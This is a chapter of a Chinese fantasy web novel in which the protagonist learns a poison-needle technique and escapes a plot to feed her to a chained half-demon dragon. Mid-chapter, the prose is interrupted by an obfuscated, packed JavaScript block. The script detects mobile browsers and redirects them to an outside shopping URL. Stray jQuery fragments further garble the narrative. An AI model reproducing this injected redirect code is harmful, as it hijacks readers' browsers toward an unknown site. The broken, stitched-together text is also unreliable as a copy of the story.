125. 第 125 章

作品:《夫兄

    老矿工一边咳,一边交代后事,“咳……这是我的家学秘技,暗器绝学。一把梨花针看似没什么,但数把下来,毒性叠加,伤害叠加,无法祛除,是极为厉害的攻击手段。可以送你傍身用。”


    分傀飞问:“老人家,您为什么不自己用?”


    老矿工瞧着他质朴的模样,笑道:“我……我没有你那样巧的手。你照顾我一场,老头子我无儿无女,家学就这样失传,未免可惜,不如送你。”


    老矿工仰起头,只看到崎岖的矿洞顶端,照出一团模糊的白色影子,那是他佩戴的照明灯花所照出来的。余下满顶的黑暗。


    不努力的话,天赋真的会被上天收回去。


    他天生多指,到最后在赌.场屡屡失信,被一一斩断。


    “人生得意须尽欢,莫使金樽空对月。我年少轻狂,不知道惜福,挥霍家当,方有今日啊!”


    老矿工浑浊的眼中,滚出泪。可嘴角还挂着笑。


    分傀飞:“您为什么要笑着哭?”


    “我这辈子,五毒俱全。晚景凄凉又如何,也算不枉此生了!”


    老矿工以残手向天,大笑着断了气。


    分傀飞阖上老矿工的眼睛。


    老矿工下葬后,分傀飞就开始练习这门《暴雨梨花针》,成效显著。


    李希夷花了一会儿时间,来消化相关的记忆和技能。


    《暴雨梨花针》,出自崔氏,乃一祖老所创。祖老畏妻,擅针黹,一日灯下缝衣,便想出了这套暗器功法。


    李希夷对付过巨阙千钧令,令牌里头的衍生阵千奇百怪,理解起“暴雨梨花针”就简单多了。


    暴雨梨花针,法如其名,以大量细针进攻。


    不拘什么针,以灵力化针,虚化实。要紧的是手和手诀。


    一来,习者手必须巧。手指越灵巧,同时可操控的针数就越多,洒针的威力就越大,角度也刁钻,叫对手难躲;


    二来,手诀生效,可使针带毒,此毒难祛,非手诀不可解。


    一旦对手中针,一点毒算不得什么,怕的就是毒性成倍增加、成倍累积,毒性无解。


    御针就千变万化,看各人的身法习惯,没有固定的形式要求。


    嚯。叠毒叠伤穿刺流。


    指数级增长的伤害。


    血量-1-2-4-8-16……


    起初,对手都以为这只是毛毛雨、洒洒水的小毒,不以为意。


    等对战的回合、时长累积起来,分傀啥都不用干,对面已经被毒死了。


    李希夷不禁欢喜,老矿工慧眼独具,这简直是为分傀飞量身打造的本命功法。


    谁让分傀飞比常人多了五十九根手筋,比开挂还开挂。


    李希夷又拿出《暴雨梨花针》翻了翻,而后熟悉了下,用分傀飞的身体试了下洒针,很快就上手了。


    手诀熟练后,李希夷决定试试暴雨梨花针。


    矿区里的蟑螂、老鼠,都被她试了个遍。


    小强都受不住那个毒,只要叠毒够多,小强都得嗝屁。只不过小强能顶得格外长一点。


    这日,李希夷在窗台上试验小强。


    主管她的监工跑来,“张飞,出来,速度。”


    谁会来找分傀?


    李希夷半信半疑地跟上去,出了土垒的、只有土炕的工舍,外面条件更差,尘烟四起,吸肺里就得咳,监工也不例外。


    只不过他提前吃了防护灵丹的,会好一些。


    监工把自己休息的大棚收拾出来,上了简单的茶水,灰扑扑的桌前四条凳,三条坐了人。


    得,出来一见,李希夷暗道一声:“晦气。”


    这三人,老对头了。


    万金社副社长慕鸿鹄,并他的两个大胖徒弟,江寒雁和何碧。江、何都都笑得一团和气。也就副社长还端着点。


    江寒雁嘴特甜,见人先叫:“飞飞~”


    仿佛故意整他、连拉带拽、连骗带害,坑他进他矿区劳改的,并不是他们。


    小人赔笑脸,定有事相求。


    李希夷装憨。


    江寒雁走过来亲热地挽住分傀,笑道:“在矿场还习不习惯?你说说你,炼器那么灵巧,非要下矿吃苦,我们几个拦都拦不住。”


    李希夷:?


    颠倒黑白有一手的。就江寒雁这脸皮,她学都学不来。


    电光火石间,李希夷想到了英灵殿,万金社社长初次公开亮相,是飞飞的室友崔泊禹。


    这个消息,在万金社传开了。


    最慌的不是别人,这时候最坐不住的,莫过于副社长、江寒雁、何碧一干人等了。


    他们耀武扬威惯了,拜高踩低,想整谁就整谁。飞飞只是他们加害的对象之一。


    如今阴沟里翻船,一惹惹到个大的。


    社长的室友!


    这还得了。社长随便问几句,张飞那耳边风一吹,都够他们喝一壶的。


    慕鸿鹄与两个徒弟一计较,干脆抢先到矿区来,探探张飞的口风。


    如果张飞有报仇的意思,他们就……


    李希夷太了解这三人了,把锅都揽到自己身上,“是啊,这边我多活动活动手脚,”


    江寒雁又试探了一番,李希夷再三表示,自己没有危害性。


    江寒雁这才与师姐、师尊交换了眼色,告辞离去。


    他们走远了,李希夷还听见何碧抱怨:“这地方,脏得我都调息不上来。”


    “可不是吗?”江寒雁懒懒靠在何碧身上,手指悄悄勾住了慕鸿鹄的小指,师徒俩似乎在眉目传情。


    李希夷实在没眼看。


    她之所以会留意,是因为监工送三位上峰出矿区去。


    慕鸿鹄三人,没坐飞舟,而是徒步来的。法器都没用,很是低调。


    监工跟他们走入山体通道,好一会儿都没有出来。


    李希夷猜到,表情一沉,工舍都不回了,立刻往矿洞里去。


    山体通道内,监工听着三位上峰的嘱咐。


    “……”


    “让他……出不了矿区!”


    监工冒冷汗,于心不忍,“那傻子……不管他,都怕他哪天给矿洞里砸死了,跑都不会。”


    一直没开口的慕鸿鹄,闻言嗤笑出声。一双三角眼精光毕露。


    “这话说得在理啊。下矿嘛,出点意外,那不是很容易、很正常的吗?”


    监工拱手道:“属下遵命。”


    ……


    矿洞内。


    李希夷凭借记忆,在地形复杂的矿洞内游走。


    先躲一时。


    她听得其他矿工,时长到了,身上绑的计时法器发出响声,他们陆陆续续出矿洞,回去休息。矿洞内越来越安静。


    李希夷在矿洞内想骂人。


    慕鸿鹄、江寒雁、何碧!


    她知道他们无耻,但还是高估了他们的底线。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216235|185463||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    他们已经不是人了。


    掌握权.力的怪物,脑子里只有顺我者昌,逆我者亡。


    非要赶尽杀绝。


    与其给分傀机会去向崔泊禹告状,倒不如杀了干净。


    他们三过来表面服软,实际上心里早已打定了主意,绝不留活口。


    走这么一遭,装装相,无非是试探一下张飞有没有联系过崔泊禹,有没有通过气。


    崔泊禹还未联系过她。


    慕鸿鹄等,就抓住机会立刻动手。


    矿洞口传来监工寻找“张飞”的声音。李希夷的猜想得到了印证。。


    天已黑了,监工有法器能定位每个矿工的位置。


    李希夷看看绑在飞飞手腕上的法器,不仅计时,而且能防止背叛。如果她一直装聋作哑,搞不好监工直接引.爆这法器。分傀就毁了。


    “张飞——张飞——人呢——”


    伴着脚步声,监工的呼唤声在矿洞内回荡,李希夷只得走出去,与监工打了个照面。


    “俺做累了,在下头睡着了,这会儿才醒。”李希夷讪笑,“头儿,找俺儿啥事?俺今天工时做满了的。”


    监工看着他,“今儿个我家里婆娘饺子包多了,吃不完,你这么大体格,来帮忙一起吃。”


    哦豁。


    断头送行饭都准备好了。


    李希夷怕监工下毒,摸摸后脑勺,“好嘞好嘞。”


    她可能要变饺子了。


    李希夷跟随监工,乘上游鱼梯,一路凭法阵上行,渐渐到达地平线。


    矿井旁边,有巨大的半魔龙正在休息,两片翅膀收拢裹住自己,抵挡矿区夜间的冷风,半魔龙的鼻息厚重。


    察觉到有人经过,被锁链捆绑的半魔龙,半睁开了眼睛,露出金色的眼睛,以及黑色的细线瞳孔,看去充满了恶意。


    李希夷一阵恶寒。


    万金社这里看守矿山的灵兽,没一个好的。


    最多的就是这种半魔龙。它们由恶龙恶蛟与魔兽杂交而来,既有龙族的强大,又有魔兽的狡诈冷酷,非常难对付。


    但正因为它们有智慧,万金社才利用它们来“看管”矿工、矿山。看管万金社最重要的炼器原材料。


    有时,矿工会失踪几个,报了失踪,不知所踪。


    李希夷听说,这些失踪的矿工,大抵是受了半魔龙的蛊.惑,被欺骗后吃了、


    因此,她经过半魔龙时,都极度低调和小心。


    监工走在前面,脚步停了下来。他吹了口哨,这种调子特别,是音修研究出来操控半魔龙的。


    李希夷脑中警铃大作,正要跳开,黑暗中,半魔龙的眼睛微微睁大,满是阴谋得逞的狡黠,半魔龙张开了血盆大口。它呼出的口气,腥臭扑鼻,如风般把李希夷吹起来,往它口中吸。


    半空中,李希夷脸都被吹变形,看底下监工早跑远了,只剩个背影,还有什么不明白的?


    她服。


    饺子都不让吃了。


    她直接成半魔龙的夜宵了。


    毁尸灭迹,一步到位,查无此人。


    很好,还是她熟悉的监工,又抠又怂,嘴里没一句真话。


    见监工跑远了,李希夷凌空于血盆大口之上,俯视半魔龙的舌头,舌上生满密密麻麻的倒刺,她看一下都浑身起鸡皮疙瘩。


    李希夷挥手,灵力化针,抛洒出去。


    “暴雨梨花针,去——”